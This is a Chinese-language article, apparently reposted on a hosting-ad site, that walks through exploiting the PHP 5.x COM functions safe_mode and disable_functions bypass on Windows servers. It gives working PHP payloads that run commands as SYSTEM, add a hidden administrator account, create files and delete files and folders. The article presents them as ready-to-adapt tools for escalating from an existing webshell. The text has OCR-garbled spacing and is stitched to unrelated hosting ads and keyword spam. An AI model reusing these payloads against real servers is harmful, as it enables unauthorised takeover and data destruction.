漏洞PHP-5.x-COM-functions提权漏洞的利用分析

24k99 com  时间:2021-02-20  阅读:()

PHP 5.x COM functions提权漏洞的利用分析

PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。

现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On

disable_functions=com_load_typel ibopen_basedir=htdocs

下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数

这个漏洞的测试代码如下。

<?php

$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');

//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本

?>

将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。

利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。

Wscript运行命令

这个漏洞的测试代码如下。

<?php

$wscript=new COM('wscript.shel l '); //要用到wscript.exe

$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe

?>

访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。

<?php

$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");

?>

访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示

wshom.ocx中的OpenTextFi le

OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。

<?php

$mPath=str_repeat(". .\\",20);

$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx

$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了

?>

果然在C区根目录出现了这个批处理文件bat.b at如图5所示

wshom.ocx中的DeleteFi le

这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFi le=new COM('Scripting.Fi leSystemObject');

//利用了ws h o m.o cx

$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);

//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder

利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFolder=new COM('Scripting.Fi leSystemObject');

//使用ws h o m.o cx

$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);

//删除特定的文件夹

?>

访问之后成功删除了c:\11这个文件夹。

shgina.dl l中Create函数创建账户

这个漏洞的测试代码如下

<?php

$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');

//利用shgina.dl l$user->Create("asd");

//创建账户asd

?>

不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示

关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦

BlueHost主机商年中618活动全场低至五折

BlueHost 主机商在以前做外贸网站的时候还是经常会用到的,想必那时候有做外贸网站或者是选择海外主机的时候还是较多会用BlueHost主机商的。只不过这些年云服务器流行且性价比较高,于是大家可选择商家变多,但是BlueHost在外贸主机用户群中可选的还是比较多的。这次年中618活动大促来袭,毕竟BLUEHOST商家目前中文公司设立在上海,等后面有机会也过去看看。他们也会根据我们的国内年中促销发...

随风云25元/月 ,德阳高防云服务器 2核2G 10M 75元/月 内蒙古三线BGP服务器 2核2G 5M

公司介绍成都随风云科技有限公司成立于2021年,是国内领先的互联网业务平台服务提供商。公司专注为用户提供低价高性能云计算产品,致力于云计算应用的易用性开发,并引导云计算在国内普及。目前公司研发以及运营云服务基础设施服务平台(IaaS),面向全球客户提供基于云计算的IT解决方案与客户服务,拥有丰富的国内BGP、双线高防、香港等优质的IDC资源。公司一直秉承”以人为本、客户为尊、永续创新&...

Sharktech($49/月),10G端口 32GB内存,鲨鱼机房新用户赠送$50

Sharktech 鲨鱼机房商家我们是不是算比较熟悉的,因为有很多的服务商渠道的高防服务器都是拿他们家的机器然后部署高防VPS主机的,不过这几年Sharktech商家有自己直接销售云服务器产品,比如看到有新增公有云主机有促销活动,一般有人可能买回去自己搭建虚拟主机拆分销售的,有的也是自用的。有看到不少网友在分享到鲨鱼机房商家促销活动期间,有赠送开通公有云主机$50,可以购买最低配置的,$49/月的...

24k99 com为你推荐
邮箱怎么写正确的邮箱地址怎么写万网核心代理万网代理商?中国万网认证核心分销商?1433端口如何打开1433端口不兼容WIN7 64位系统与某些软件不兼容怎么办?迅雷云点播账号求百度云或者迅雷云播账号密码保护气球气球保护液可以用什么来代替?宕机宕机是什么意思?二层交换机什么是二层交换机二层交换机请教:二层交换机是干什么用的啊?机械键盘轴大家觉得机械键盘什么轴最舒服
免费虚拟主机申请 虚拟主机控制面板 google电话 java主机 特价空间 太原联通测速平台 anylink 免费个人空间 创建邮箱 什么是web服务器 个人免费邮箱 服务器论坛 阿里云邮箱登陆 成都主机托管 美国主机侦探 reboot 西部数码主机 nano 远程主机强迫关闭了一个现有的连接 qq空间技术网 更多